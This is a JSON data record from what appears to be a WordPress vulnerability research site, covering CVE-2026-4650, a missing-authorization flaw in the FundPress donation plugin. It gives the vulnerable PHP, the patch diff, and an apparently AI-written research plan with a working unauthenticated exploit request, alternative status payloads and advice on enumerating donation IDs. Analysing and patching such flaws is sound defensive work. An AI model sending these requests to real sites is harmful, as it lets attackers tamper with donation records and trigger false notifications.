[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f5SNs5kTyXq_ExyQjpUsgdNdaISULjPiwYyxptXC4bvU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-4650","fundpress-missing-authorization-to-unauthenticated-arbitrary-donation-status-modification-via-donateactionstatus-ajax-ha","FundPress \u003C= 2.0.8 - Missing Authorization to Unauthenticated Arbitrary Donation Status Modification via donate_action_status AJAX Handler","The FundPress – WordPress Donation Plugin for WordPress is vulnerable to authorization bypass in versions up to and including 2.0.8. This is due to missing authorization and nonce verification in the donate_action_status() AJAX handler, which is registered to be accessible to unauthenticated users via wp_ajax_nopriv. The function only validates that the schema parameter equals 'donate-ajax' and that the required POST parameters are present, but fails to verify user capabilities, nonce tokens, or donation ownership. This makes it possible for unauthenticated attackers to modify the status of any donation by providing its ID (which are sequential integers and easily enumerable), allowing them to mark donations as completed, pending, cancelled, or any arbitrary status, potentially triggering email notifications and related side effects.","fundpress",null,"\u003C=2.0.8","2.0.9","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-05-01 19:18:29","2026-05-02 07:46:40",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5db3c66f-0a9c-4233-923c-0965dec68c60?source=api-prod",1,[22,23,24,25,26,27,28,29],"CHANGELOG","fundpress.php","inc\u002Fclass-dn-ajax.php","inc\u002Fclass-dn-cart.php","inc\u002Fclass-dn-sessions.php","languages\u002Ffundpress.pot","readme.md","readme.txt","researched",false,3,"# Research Plan: CVE-2026-4650 - FundPress Arbitrary Donation Status Modification\n\n## 1. Vulnerability Summary\nThe **FundPress** plugin (versions \u003C= 2.0.8) contains a missing authorization and nonce verification vulnerability within its AJAX handler for updating donation statuses. The function `donate_action_status()` in `inc\u002Fclass-dn-ajax.php` is registered for unauthenticated access (`wp_ajax_nopriv`) but fails to verify if the requester has administrative privileges or if they own the donation being modified. Furthermore, it lacks a security nonce check, allowing any user to change the status of any donation by simply knowing or guessing its integer ID.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `donate_action_status`\n*   **URL Parameter (GET):** `schema=donate-ajax` (Required for the initial check)\n*   **Post Parameters (POST):**\n    *   `donate_id`: The integer ID of the donation post (post type `dn_donate`).\n    *   `status`: The desired status suffix (e.g., `completed`, `pending`, `cancelled`).\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** A donation (post type `dn_donate`) must exist in the system.\n\n## 3. Code Flow\n1.  **Entry Point:** An AJAX request hits `admin-ajax.php` with `action=donate_action_status`.\n2.  **Hook Registration:** In `inc\u002Fclass-dn-ajax.php`, the `__construct` method registers the action:\n    ```php\n    $actions = array(..., 'donate_action_status' => true,);\n    foreach ( $actions as $action => $nopriv ) {\n        add_action( 'wp_ajax_' . $action, array( $this, $action ) );\n        if ( $nopriv ) { add_action( 'wp_ajax_nopriv_' . $action, array( $this, $action ) ); }\n    }\n    ```\n3.  **Validation (Minimal):** The `donate_action_status()` function performs basic checks:\n    ```php\n    if ( ! isset( $_GET['schema'] ) || DN_Helpper::DN_sanitize_params_submitted( $_GET['schema'] ) !== 'donate-ajax' || empty( $_POST ) ) {\n        return;\n    }\n    if ( ! isset( $_POST['donate_id'] ) || ! isset( $_POST['status'] ) ) {\n        return;\n    }\n    ```\n4.  **The Sink:** The function instantiates `DN_Donate` and calls `update_status()`:\n    ```php\n    $donate_id = ( isset( $_POST['donate_id'] ) ) ? absint( $_POST['donate_id'] ) : '';\n    $status    = ( isset( $_POST['status'] ) ) ? DN_Helpper::DN_sanitize_params_submitted( $_POST['status'] ) : '';\n    $donate = DN_Donate::instance( $donate_id );\n    if ( $donate ) {\n        $donate->update_status( 'donate-' . $status . '' ); \u002F\u002F Vulnerable Update\n        wp_send_json( array( 'status' => 'success', 'action' => $status ) );\n        die();\n    }\n    ```\n    There is no `current_user_can()` check and no `wp_verify_nonce()` call.\n\n## 4. Nonce Acquisition Strategy\nBased on the source code analysis of `inc\u002Fclass-dn-ajax.php`, the `donate_action_status()` function **does not implement a nonce check**. \n\nWhile other functions like `donate_load_form()` check for `$_POST['nonce']` and verify it against `thimpress_donate_nonce`, `donate_action_status()` omits this check entirely. Therefore, **no nonce is required** to exploit this specific vulnerability.\n\n## 5. Exploitation Strategy\nThe exploit involves sending a single unauthenticated POST request to the AJAX endpoint.\n\n*   **Request Method:** POST\n*   **Target URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php?action=donate_action_status&schema=donate-ajax`\n*   **Headers:**\n    *   `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    *   `donate_id=\u003CTARGET_DONATION_ID>&status=completed`\n\n**Example Payload:**\n`donate_id=123&status=completed`\n\n## 6. Test Data Setup\nTo verify the exploit, the following environment must be prepared:\n1.  **Create a Campaign:** Use WP-CLI to create a campaign post.\n    ```bash\n    wp post create --post_type=dn_campaign --post_title=\"Save the Whales\" --post_status=publish\n    ```\n2.  **Create a Donation:** Use WP-CLI to create a donation post.\n    ```bash\n    # Create a donation with ID 100 (or capture the ID returned)\n    DONATE_ID=$(wp post create --post_type=dn_donate --post_title=\"Donation #1\" --post_status=donate-pending --porcelain)\n    echo \"Target Donation ID: $DONATE_ID\"\n    ```\n3.  **Check Initial Status:** Confirm it is `donate-pending`.\n    ```bash\n    wp post get $DONATE_ID --field=post_status\n    ```\n\n## 7. Expected Results\n*   **Response Status Code:** 200 OK\n*   **Response Body:** `{\"status\":\"success\",\"action\":\"completed\"}`\n*   **Side Effect:** The `post_status` of the target `dn_donate` post will be updated from `donate-pending` to `donate-completed`.\n\n## 8. Verification Steps\nAfter performing the HTTP request via the agent's tool, verify the database state using WP-CLI:\n\n```bash\n# Query the post status of the targeted donation\nwp post get \u003CDONATE_ID> --field=post_status\n```\nThe expected output is `donate-completed`.\n\n## 9. Alternative Approaches\nIf `completed` status does not trigger the expected behavior or if the system uses different status slugs, try other common FundPress statuses:\n*   `status=processing` (Results in `donate-processing`)\n*   `status=failed` (Results in `donate-failed`)\n*   `status=cancelled` (Results in `donate-cancelled`)\n\nIf the ID is unknown, an attacker would typically perform an enumeration attack (e.g., iterating `donate_id` from 1 to 5000) as donation IDs are standard WordPress post IDs and often sequential.","The FundPress plugin for WordPress is vulnerable to unauthenticated arbitrary donation status modification due to missing authorization and nonce checks in the 'donate_action_status' AJAX handler. Attackers can exploit this to mark any donation as completed, pending, or cancelled by enumerating sequential donation IDs.","\u002F\u002F inc\u002Fclass-dn-ajax.php lines 30-48\n$actions = array(\n    'donate_load_form'         => true,\n    'donate_submit'            => true,\n    'donate_remove_compensate' => true,\n    'donate_action_status'     => true,\n);\n\nforeach ( $actions as $action => $nopriv ) {\n    if ( ! method_exists( $this, $action ) ) {\n        return;\n    }\n\n    add_action( 'wp_ajax_' . $action, array( $this, $action ) );\n    if ( $nopriv ) {\n        \u002F\u002F ...\n        add_action( 'wp_ajax_nopriv_' . $action, array( $this, $action ) );\n    }\n}\n\n---\n\n\u002F\u002F inc\u002Fclass-dn-ajax.php lines 164-184\npublic function donate_action_status() {\n    if ( ! isset( $_GET['schema'] ) || DN_Helpper::DN_sanitize_params_submitted( $_GET['schema'] ) !== 'donate-ajax' || empty( $_POST ) ) {\n        return;\n    }\n\n    if ( ! isset( $_POST['donate_id'] ) || ! isset( $_POST['status'] ) ) {\n        return;\n    }\n\n    $donate_id = ( isset( $_POST['donate_id'] ) ) ? absint( $_POST['donate_id'] ) : '';\n    $status    = ( isset( $_POST['status'] ) ) ? DN_Helpper::DN_sanitize_params_submitted( $_POST['status'] ) : '';\n\n    $donate = DN_Donate::instance( $donate_id );\n\n    if ( $donate ) {\n        $donate->update_status( 'donate-' . $status . '' );\n        wp_send_json( array( 'status' => 'success', 'action' => $status ) );\n        die();\n    }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffundpress\u002F2.0.8\u002Finc\u002Fclass-dn-ajax.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffundpress\u002F2.0.9\u002Finc\u002Fclass-dn-ajax.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffundpress\u002F2.0.8\u002Finc\u002Fclass-dn-ajax.php\t2025-06-19 03:04:02.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ffundpress\u002F2.0.9\u002Finc\u002Fclass-dn-ajax.php\t2026-04-10 01:45:32.000000000 +0000\n@@ -30,8 +30,8 @@\n \t\t\t$actions = array(\n \t\t\t\t'donate_load_form'         => true,\n \t\t\t\t'donate_submit'            => true,\n-\t\t\t\t'donate_remove_compensate' => true,\n-\t\t\t\t'donate_action_status'     => true,\n+\t\t\t\t\u002F\u002F'donate_remove_compensate' => true,\n+\t\t\t\t\u002F\u002F'donate_action_status'     => true,\n \t\t\t);\n \n \t\t\tforeach ( $actions as $action => $nopriv ) {\n@@ -113,8 +113,9 @@\n \n \t\t\u002F**\n \t\t * Remove campaign compensate.\n+\t\t * @deprecated not using.\n \t\t *\u002F\n-\t\tpublic function donate_remove_compensate() {\n+\t\t\u002F*public function donate_remove_compensate() {\n \t\t\tif ( ! isset( $_GET['schema'] ) || DN_Helpper::DN_sanitize_params_submitted( $_GET['schema'] ) !== 'donate-ajax' || empty( $_POST ) ) {\n \t\t\t\treturn;\n \t\t\t}\n@@ -148,7 +149,7 @@\n \t\t\t\t'message' => __( 'Could not delete compensate. Please try again.', 'fundpress' )\n \t\t\t) );\n \t\t\tdie();\n-\t\t}\n+\t\t}*\u002F\n \n \t\t\u002F**\n \t\t * must login\n@@ -160,8 +161,9 @@\n \n \t\t\u002F**\n \t\t * Update order donate status.\n+\t\t * @deprecated not using.\n \t\t *\u002F\n-\t\tpublic function donate_action_status() {\n+\t\t\u002F*public function donate_action_status() {\n \t\t\tif ( ! isset( $_GET['schema'] ) || DN_Helpper::DN_sanitize_params_submitted( $_GET['schema'] ) !== 'donate-ajax' || empty( $_POST ) ) {\n \t\t\t\treturn;\n \t\t\t}\n@@ -187,7 +189,7 @@\n \t\t\t) );\n \t\t\tdie();\n \n-\t\t}\n+\t\t}*\u002F\n \t}\n }","To exploit this vulnerability, an unauthenticated attacker can send a POST request to the WordPress AJAX endpoint with the following parameters:\n1. Endpoint: \u002Fwp-admin\u002Fadmin-ajax.php?action=donate_action_status&schema=donate-ajax\n2. POST Body: donate_id=\u003CDONATION_ID>&status=\u003CNEW_STATUS>\n3. The 'donate_id' corresponds to the WordPress Post ID of the 'dn_donate' post type.\n4. The 'status' parameter is appended to the 'donate-' prefix (e.g., providing 'completed' results in a status of 'donate-completed').\n5. Since donation IDs are sequential integers, an attacker can iterate through IDs to modify every donation in the system without any authentication or CSRF protection.","gemini-3-flash-preview","2026-05-04 17:09:58","2026-05-04 17:10:20",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.0.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffundpress\u002Ftags\u002F2.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffundpress.2.0.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffundpress\u002Ftags\u002F2.0.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffundpress.2.0.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffundpress\u002Ftags"]